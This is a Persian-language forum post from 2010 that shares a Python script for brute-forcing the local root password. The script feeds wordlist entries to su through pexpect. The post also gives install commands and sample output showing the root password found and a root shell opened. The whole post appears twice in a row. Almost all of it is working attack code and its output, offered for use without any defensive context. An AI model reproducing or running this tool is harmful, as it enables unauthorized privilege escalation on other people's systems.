Ali_Eagle
02-27-2010, 04:24 AM
یک بروت فورس قوی با زبان پایتون برای پسورد روت ...
نحوه استفاده :.
wget http://pexpect.sourceforge.net/pexpect-2.3.tar.gz
tar xzf pexpect-2.3.tar.gz
cd pexpect-2.3
sudo python ./setup.py install
#!/usr/bin/python
#Local Root BruteForcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import sys
try:
import pexpect
except(ImportError):
print "\nYou need the pexpect module."
print "http://www.noah.org/wiki/Pexpect\n"
sys.exit(1)
#Change this if needed.
LOGIN_ERROR = 'su: incorrect password'
def brute(word):
print "Trying:",word
child = pexpect.spawn ('su')
child.expect ('Password: ')
child.sendline (word)
i = child.expect (['.+\s#\s',LOGIN_ERROR])
if i == 0:
print "\n\t[!] Root Password:",word
child.sendline ('whoami')
print child.before
child.interact()
#if i == 1:
#print "Incorrect Password"
if len(sys.argv) != 2:
print "\nUsage : ./rootbrute.py <wordlist>"
print "Eg: ./rootbrute.py words.txt\n"
sys.exit(1)
try:
words = open(sys.argv[1], "r").readlines()
except(IOError):
print "\nError: Check your wordlist path\n"
sys.exit(1)
print "\n[+] Loaded:",len(words),"words"
print "[+] BruteForcing...\n"
for word in words:
brute(word.replace("\n",""))
مثالی برای خروجی :.
d3hydr8@linuxbox:~> python rootbrute.py words.txt
[+] Loaded: 8 words
[+] BruteForcing...
Trying: open
Trying: house
Trying: garage
Trying: table
Trying: window
Trying: raindrop
[!] Root Password: raindrop
whoami
root
linuxbox:/home/d3hydr8 #
نحوه استفاده :.
wget http://pexpect.sourceforge.net/pexpect-2.3.tar.gz
tar xzf pexpect-2.3.tar.gz
cd pexpect-2.3
sudo python ./setup.py install
#!/usr/bin/python
#Local Root BruteForcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import sys
try:
import pexpect
except(ImportError):
print "\nYou need the pexpect module."
print "http://www.noah.org/wiki/Pexpect\n"
sys.exit(1)
#Change this if needed.
LOGIN_ERROR = 'su: incorrect password'
def brute(word):
print "Trying:",word
child = pexpect.spawn ('su')
child.expect ('Password: ')
child.sendline (word)
i = child.expect (['.+\s#\s',LOGIN_ERROR])
if i == 0:
print "\n\t[!] Root Password:",word
child.sendline ('whoami')
print child.before
child.interact()
#if i == 1:
#print "Incorrect Password"
if len(sys.argv) != 2:
print "\nUsage : ./rootbrute.py <wordlist>"
print "Eg: ./rootbrute.py words.txt\n"
sys.exit(1)
try:
words = open(sys.argv[1], "r").readlines()
except(IOError):
print "\nError: Check your wordlist path\n"
sys.exit(1)
print "\n[+] Loaded:",len(words),"words"
print "[+] BruteForcing...\n"
for word in words:
brute(word.replace("\n",""))
مثالی برای خروجی :.
d3hydr8@linuxbox:~> python rootbrute.py words.txt
[+] Loaded: 8 words
[+] BruteForcing...
Trying: open
Trying: house
Trying: garage
Trying: table
Trying: window
Trying: raindrop
[!] Root Password: raindrop
whoami
root
linuxbox:/home/d3hydr8 #
